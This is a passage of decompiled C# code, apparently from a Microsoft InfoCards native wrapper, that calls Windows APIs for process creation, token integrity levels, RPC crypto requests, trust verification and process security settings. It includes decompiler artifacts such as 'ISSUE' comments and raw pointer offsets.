CreateAndWaitForFileOpenDialogWrapper( - string arguments, - WindowsIdentity callerIdentity, - uint userProcessPid, - ref string fileName) - { - uint openDialogWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - try - { - hglobal1 = Marshal.StringToHGlobalUni(arguments); - hglobal2 = Marshal.StringToHGlobalUni(callerIdentity.Name); - \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G arrayTypeBy0BaeG; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(short&) ref arrayTypeBy0BaeG = (short) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G&) ((IntPtr) &arrayTypeBy0BaeG + 2), 0, 518); - IntPtr token = callerIdentity.Token; - openDialogWrapper = \u003CModule\u003E.CreateAndWaitForFileOpenDialog((ushort*) hglobal1.ToPointer(), token.ToPointer(), userProcessPid, (ushort*) hglobal2.ToPointer(), (ushort*) &arrayTypeBy0BaeG); - fileName = 0U != openDialogWrapper ? "" : new string((char*) &arrayTypeBy0BaeG); - } - finally - { - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - } - return openDialogWrapper; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool DnsNameCompareWrapper(string dnsName1, string dnsName2) - { - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - int num = 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(dnsName1); - hglobal2 = Marshal.StringToHGlobalUni(dnsName2); - num = \u003CModule\u003E.DnsNameCompare_W((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - } - return 0 != num; - } - - public static unsafe uint CreateProcessAsUserHelperWrapper( - string application, - string commandLine, - uint userProcessPid, - string desktop, - string userName, - ref int pid) - { - uint userHelperWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - IntPtr hglobal4 = IntPtr.Zero; - void* voidPtr = (void*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(application); - hglobal2 = Marshal.StringToHGlobalUni(commandLine); - hglobal3 = Marshal.StringToHGlobalUni(desktop); - hglobal4 = Marshal.StringToHGlobalUni(userName); - uint num = 0; - userHelperWrapper = \u003CModule\u003E.CreateProcessAsUserHelper((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer(), userProcessPid, (ushort*) hglobal3.ToPointer(), (ushort*) hglobal4.ToPointer(), &voidPtr, &num); - pid = (int) num; - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal4) - { - Marshal.FreeHGlobal(hglobal4); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.CloseHandle(voidPtr); - } - return userHelperWrapper; - } - - public static unsafe string GetLocalDataPath(WindowsIdentity identity) - { - \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G arrayTypeBy0BaeG; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BaeG, 0, 520); - int folderPathW = \u003CModule\u003E.SHGetFolderPathW((HWND__*) 0, 28, identity.Token.ToPointer(), 0U, (ushort*) &arrayTypeBy0BaeG); - if (folderPathW < 0) - throw new Win32Exception(folderPathW); - return new string((char*) &arrayTypeBy0BaeG); - } - - public static unsafe WindowsIdentity CreateServiceExecutionIdentity( - Process callingProcess) - { - WindowsIdentity identity = (WindowsIdentity) null; - void* voidPtr = (void*) 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - if (\u003CModule\u003E.OpenProcessToken(callingProcess.Handle.ToPointer(), 14U, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - try - { - identity = new WindowsIdentity(new IntPtr(voidPtr)); - if (NativeMcppMethods.IsLowIntegrityIdentity(identity)) - identity = NativeMcppMethods.CreateMediumIntegrityIdentity(identity); - } - finally - { - \u003CModule\u003E.CloseHandle(voidPtr); - } - } - return identity; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsTokenValid(Process callingProcess) - { - void* voidPtr = (void*) 0; - if (\u003CModule\u003E.OpenProcessToken(callingProcess.Handle.ToPointer(), 14U, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - try - { - _TOKEN_STATISTICS tokenStatistics; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref tokenStatistics = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_TOKEN_STATISTICS&) ((IntPtr) &tokenStatistics + 4), 0, 52); - uint num1 = 0; - if (\u003CModule\u003E.GetTokenInformation(voidPtr, (_TOKEN_INFORMATION_CLASS) 10, (void*) &tokenStatistics, 56U, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - _SECURITY_LOGON_SESSION_DATA* logonSessionDataPtr = (_SECURITY_LOGON_SESSION_DATA*) 0; - if (0 != \u003CModule\u003E.LsaGetLogonSessionData((_LUID*) ((IntPtr) &tokenStatistics + 8), &logonSessionDataPtr)) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - uint num2 = (uint) *(int*) ((IntPtr) logonSessionDataPtr + 36); - \u003CModule\u003E.LsaFreeReturnBuffer((void*) logonSessionDataPtr); - return 9U != num2; - } - finally - { - \u003CModule\u003E.CloseHandle(voidPtr); - } - } - - public static unsafe uint CreateProcessAsTrustedUserWrapper( - string application, - string commandLine, - uint userProcessPid, - string pDesktop, - string pUserName, - uint userSessionId, - ref IntPtr trustedUserToken, - ref IntPtr processHandle, - ref int pid, - IntPtr jobHandle, - ref string trustedUserSid, - [MarshalAs(UnmanagedType.U1)] bool fElevateToken) - { - uint trustedUserWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - IntPtr hglobal4 = IntPtr.Zero; - IntPtr hglobal5 = IntPtr.Zero; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(application); - hglobal2 = Marshal.StringToHGlobalUni(commandLine); - hglobal3 = Marshal.StringToHGlobalUni(pDesktop); - hglobal4 = Marshal.StringToHGlobalUni(pUserName); - uint num1 = 0; - void* voidPtr3 = (void*) 0; - void* hCurrentToken = (void*) 0; - void* voidPtr4 = (void*) 0; - if (IntPtr.Zero != trustedUserToken) - hCurrentToken = trustedUserToken.ToPointer(); - if (IntPtr.Zero != jobHandle) - voidPtr4 = jobHandle.ToPointer(); - if (!string.IsNullOrEmpty(trustedUserSid)) - { - hglobal5 = Marshal.StringToHGlobalUni(trustedUserSid); - if (0 == \u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal5.ToPointer(), &voidPtr1)) - trustedUserWrapper = \u003CModule\u003E.GetLastError(); - } - if (fElevateToken) - { - voidPtr2 = NativeMcppMethods.CreateHighIntegrityToken(hCurrentToken); - \u003CModule\u003E.AssertInternal((IntPtr) voidPtr2 != IntPtr.Zero, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1BO\u0040IGNPGJKB\u0040\u003F\u0024AAh\u003F\u0024AAE\u003F\u0024AAl\u003F\u0024AAe\u003F\u0024AAv\u003F\u0024AAa\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAd\u003F\u0024AAT\u003F\u0024AAo\u003F\u0024AAk\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 722, false); - } - if (0U == trustedUserWrapper) - { - void** voidPtr5 = (IntPtr) voidPtr2 == IntPtr.Zero ? &hCurrentToken : &voidPtr2; - trustedUserWrapper = \u003CModule\u003E.CreateProcessAsTrustedUser((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer(), userProcessPid, (ushort*) hglobal3.ToPointer(), (ushort*) hglobal4.ToPointer(), userSessionId, voidPtr5, &voidPtr3, &num1, voidPtr4, &voidPtr1); - if (0U == trustedUserWrapper) - { - IntPtr num2 = new IntPtr(voidPtr3); - processHandle = num2; - IntPtr num3 = new IntPtr(hCurrentToken); - trustedUserToken = num3; - pid = (int) num1; - } - } - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal4) - { - Marshal.FreeHGlobal(hglobal4); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal5) - { - Marshal.FreeHGlobal(hglobal5); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr1) - { - ushort* numPtr = (ushort*) 0; - if (string.IsNullOrEmpty(trustedUserSid) && \u003CModule\u003E.ConvertSidToStringSidW(voidPtr1, &numPtr) != 0) - { - IntPtr ptr = new IntPtr((void*) numPtr); - trustedUserSid = Marshal.PtrToStringUni(ptr); - } - \u003CModule\u003E.LocalFree(voidPtr1); - } - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.CloseHandle(voidPtr2); - } - return trustedUserWrapper; - } - - public static unsafe uint CreateJobObjectWithSD(ref IntPtr jobHandle, string trustedUserSid) - { - uint jobObjectWithSd = 0; - IntPtr hglobal = IntPtr.Zero; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - try - { - if (!string.IsNullOrEmpty(trustedUserSid)) - { - hglobal = Marshal.StringToHGlobalUni(trustedUserSid); - if (0 == \u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal.ToPointer(), &voidPtr1)) - { - jobObjectWithSd = \u003CModule\u003E.GetLastError(); - if (0U != jobObjectWithSd) - goto label_11; - } - } - jobObjectWithSd = \u003CModule\u003E.CreateJobObjectHelper(&voidPtr2, voidPtr1); - if (0U == jobObjectWithSd) - { - IntPtr num = new IntPtr(voidPtr2); - jobHandle = num; - } - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.LocalFree(voidPtr1); - } -label_11: - return jobObjectWithSd; - } - - public static unsafe IntPtr RpcCryptoOpen(string portName) - { - string s = (string) null; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - void* voidPtr = (void*) 0; - ushort* numPtr = (ushort*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(portName); - int error1 = \u003CModule\u003E.RpcStringBindingComposeW((ushort*) 0, \u003CModule\u003E.g_lrpcProtocolSequence, (ushort*) 0, (ushort*) hglobal1.ToPointer(), (ushort*) 0, &numPtr); - if (0 != error1) - throw new Win32Exception(error1); - int error2 = \u003CModule\u003E.RpcBindingFromStringBindingW(numPtr, &voidPtr); - if (0 != error2) - throw new Win32Exception(error2); - hglobal2 = Marshal.StringToHGlobalUni(s); - int error3 = \u003CModule\u003E.RpcBindingSetAuthInfoW(voidPtr, (ushort*) 0, 6U, 10U, (void*) 0, 0U); - if (0 != error3) - throw new Win32Exception(error3); - return new IntPtr(voidPtr); - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != (IntPtr) numPtr) - \u003CModule\u003E.RpcStringFreeW(&numPtr); - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - Marshal.FreeHGlobal(hglobal2); - } - } - - public static unsafe void RpcCryptoClose(IntPtr hIdl, string contextKey) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(contextKey); - \u003CModule\u003E.RpcCryptoCloseContext(hIdl.ToPointer(), (ushort*) hglobal.ToPointer()); - \u003CModule\u003E.RpcBindingFree(&hIdl.ToPointer()); - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static unsafe byte[] RpcCryptoDispatchRequest( - IntPtr hIdl, - string contextKey, - string requestName, - byte[] buffer, - int index, - int length) - { - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - _RPC_REQUEST rpcRequest; - // ISSUE: initblk instruction - __memset(ref rpcRequest, 0, 12); - _RPC_RESPONSE* rpcResponsePtr1 = (_RPC_RESPONSE*) 0; - try - { - hglobal2 = Marshal.StringToHGlobalUni(contextKey); - hglobal1 = Marshal.StringToHGlobalUni(requestName); - IntPtr destination1 = Marshal.AllocHGlobal(length); - hglobal3 = destination1; - Marshal.Copy(buffer, 0, destination1, length); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &rpcRequest + 8) = (int) hglobal3.ToPointer(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &rpcRequest + 4) = length; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref rpcRequest = (int) hglobal1.ToPointer(); - int error = \u003CModule\u003E.RpcCryptoDispatchRequest(hIdl.ToPointer(), (ushort*) hglobal2.ToPointer(), &rpcRequest, &rpcResponsePtr1); - if (error < 0) - throw new Win32Exception(error); - if (IntPtr.Zero == (IntPtr) rpcResponsePtr1) - throw new Win32Exception(87); - int length1 = *(int*) rpcResponsePtr1; - byte[] destination2 = new byte[length1]; - _RPC_RESPONSE* rpcResponsePtr2 = (_RPC_RESPONSE*) ((IntPtr) rpcResponsePtr1 + 4); - if (*(int*) rpcResponsePtr2 != 0) - Marshal.Copy(new IntPtr((void*) *(int*) rpcResponsePtr2), destination2, 0, *(int*) rpcResponsePtr1); - else if (length1 > 0) - throw new Win32Exception(87); - return destination2; - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) rpcResponsePtr1) - { - _RPC_RESPONSE* rpcResponsePtr3 = (_RPC_RESPONSE*) ((IntPtr) rpcResponsePtr1 + 4); - if (*(int*) rpcResponsePtr3 != 0) - \u003CModule\u003E.MIDL_user_free((void*) *(int*) rpcResponsePtr3); - \u003CModule\u003E.MIDL_user_free((void*) rpcResponsePtr1); - } - } - } - - public static unsafe int CryptAlgIdFromOid(string strOid) - { - if (string.IsNullOrEmpty(strOid)) - return 32772; - string s = CryptoConfig.MapNameToOID(strOid); - if (string.IsNullOrEmpty(s)) - s = strOid; - IntPtr hglobalAnsi = Marshal.StringToHGlobalAnsi(s); - try - { - _CRYPT_OID_INFO* oidInfo = \u003CModule\u003E.CryptFindOIDInfo(1U, hglobalAnsi.ToPointer(), 0U); - if (IntPtr.Zero == (IntPtr) oidInfo) - throw new Win32Exception(-2147467259); - return *(int*) ((IntPtr) oidInfo + 16); - } - finally - { - if (IntPtr.Zero != hglobalAnsi) - Marshal.FreeHGlobal(hglobalAnsi); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool GetHighAssuranceFlags(IntPtr pcertchaincontext, ref int haFlags) - { - uint num = 0; - haFlags = 0; - byte highAssuranceFlags; - if (!(IntPtr.Zero == pcertchaincontext) && \u003CModule\u003E.SetHighAssuranceFlags((_CERT_CHAIN_CONTEXT*) pcertchaincontext.ToPointer(), &num) != 0) - { - haFlags = (int) num; - highAssuranceFlags = (byte) 1; - } - else - highAssuranceFlags = (byte) 0; - return (bool) highAssuranceFlags; - } - - public static unsafe int VerifyTrust(string fileName) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(fileName); - return (int) \u003CModule\u003E.VerifyTrust((ushort*) hglobal.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static unsafe void CheckSIDAgainstCurrentRpcUser(string strSid) - { - IntPtr hglobal = IntPtr.Zero; - void* voidPtr = (void*) 0; - int num1 = 0; - int num2 = 0; - try - { - hglobal = Marshal.StringToHGlobalUni(strSid); - if (\u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal.ToPointer(), &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (0 != \u003CModule\u003E.RpcImpersonateClient((void*) 0)) - throw new SecurityException(); - num2 = 1; - if (\u003CModule\u003E.CheckTokenMembership((void*) 0, voidPtr, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (num1 == 0) - throw new SecurityException(); - } - finally - { - if (num2 != 0 && \u003CModule\u003E.RevertToSelf() == 0) - throw new InvalidOperationException(); - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.LocalFree(voidPtr); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsOsVistaOrGreater() - { - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - return (uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsLowIntegrityIdentity(WindowsIdentity identity) - { - bool flag = false; - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) != 0) - { - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr = (_TOKEN_MANDATORY_LABEL*) 0; - void* voidPtr = (void*) 0; - uint num1 = 0; - uint num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.GetTokenInformation(identity.Token.ToPointer(), (_TOKEN_INFORMATION_CLASS) 25, (void*) 0, 0U, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - tokenMandatoryLabelPtr = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num1); - if ((IntPtr) tokenMandatoryLabelPtr == IntPtr.Zero) - throw new OutOfMemoryException(); - } - if (\u003CModule\u003E.GetTokenInformation(identity.Token.ToPointer(), (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr, num1, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 66, (void*) 0, (void*) 0, &num2) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - voidPtr = \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) voidPtr == IntPtr.Zero) - throw new OutOfMemoryException(); - } - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 66, (void*) 0, voidPtr, &num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.EqualSid(voidPtr, (void*) *(int*) tokenMandatoryLabelPtr) != 0) - flag = true; - } - finally - { - if ((IntPtr) voidPtr != IntPtr.Zero) - \u003CModule\u003E.LocalFree(voidPtr); - if ((IntPtr) tokenMandatoryLabelPtr != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr); - } - } - } - return flag; - } - - public static unsafe WindowsIdentity CreateMediumIntegrityIdentity( - WindowsIdentity identity) - { - WindowsIdentity integrityIdentity = (WindowsIdentity) null; - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) == 0) - throw new InvalidOperationException(); - void* voidPtr = (void*) 0; - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) 0; - uint num1 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.DuplicateTokenEx(identity.Token.ToPointer(), 142U, (_SECURITY_ATTRIBUTES*) 0, (_SECURITY_IMPERSONATION_LEVEL) 2, (_TOKEN_TYPE) 2, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 67, (void*) 0, (void*) 0, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - } - uint num2 = num1 + 8U; - tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) tokenMandatoryLabelPtr1 == IntPtr.Zero) - throw new OutOfMemoryException(); - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr2 = (_TOKEN_MANDATORY_LABEL*) ((IntPtr) tokenMandatoryLabelPtr1 + 8); - *(int*) tokenMandatoryLabelPtr1 = (int) tokenMandatoryLabelPtr2; - *(int*) ((IntPtr) tokenMandatoryLabelPtr1 + 4) = 96; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 67, (void*) 0, (void*) tokenMandatoryLabelPtr2, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.SetTokenInformation(voidPtr, (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr1, num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - integrityIdentity = new WindowsIdentity(new IntPtr(voidPtr)); - } - finally - { - if ((IntPtr) voidPtr != IntPtr.Zero) - \u003CModule\u003E.CloseHandle(voidPtr); - if ((IntPtr) tokenMandatoryLabelPtr1 != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr1); - } - } - return integrityIdentity; - } - - public static unsafe void* CreateHighIntegrityToken(void* hCurrentToken) - { - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) == 0) - throw new InvalidOperationException(); - void* highIntegrityToken = (void*) 0; - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) 0; - uint num1 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.DuplicateTokenEx(hCurrentToken, 139U, (_SECURITY_ATTRIBUTES*) 0, (_SECURITY_IMPERSONATION_LEVEL) 2, (_TOKEN_TYPE) 1, &highIntegrityToken) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 68, (void*) 0, (void*) 0, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - } - uint num2 = num1 + 8U; - tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) tokenMandatoryLabelPtr1 == IntPtr.Zero) - throw new OutOfMemoryException(); - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr2 = (_TOKEN_MANDATORY_LABEL*) ((IntPtr) tokenMandatoryLabelPtr1 + 8); - *(int*) tokenMandatoryLabelPtr1 = (int) tokenMandatoryLabelPtr2; - *(int*) ((IntPtr) tokenMandatoryLabelPtr1 + 4) = 96; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 68, (void*) 0, (void*) tokenMandatoryLabelPtr2, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.SetTokenInformation(highIntegrityToken, (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr1, num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - } - finally - { - if ((IntPtr) tokenMandatoryLabelPtr1 != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr1); - } - } - return highIntegrityToken; - } - - public static unsafe void AdjustServiceProcessSecurity() - { - void* voidPtr = (void*) 0; - _ACL* aclPtr1 = (_ACL*) 0; - _ACL* aclPtr2 = (_ACL*) 0; - uint num = 68; - _EXPLICIT_ACCESS_W explicitAccessW; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_EXPLICIT_ACCESS_W&) ((IntPtr) &explicitAccessW + 4), 0, 28); - try - { - uint securityInfo = \u003CModule\u003E.GetSecurityInfo(\u003CModule\u003E.GetCurrentProcess(), (_SE_OBJECT_TYPE) 6, 4U, (void**) 0, (void**) 0, &aclPtr1, (_ACL**) 0, &voidPtr); - if (0U != securityInfo) - throw new Win32Exception((int) securityInfo); - \u0024ArrayType\u0024\u0024\u0024BY0BB\u0040K arrayTypeBy0BbK; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 11, (void*) 0, (void*) &arrayTypeBy0BbK, &num) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 1048576; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 4) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 20) = 0; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 24) = 5; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 28) = (int) &arrayTypeBy0BbK; - uint error1 = \u003CModule\u003E.SetEntriesInAclW(1U, &explicitAccessW, aclPtr1, &aclPtr2); - if (0U != error1) - throw new Win32Exception((int) error1); - uint error2 = \u003CModule\u003E.SetSecurityInfo(\u003CModule\u003E.GetCurrentProcess(), (_SE_OBJECT_TYPE) 6, 4U, (void*) 0, (void*) 0, aclPtr2, (_ACL*) 0); - if (0U != error2) - throw new 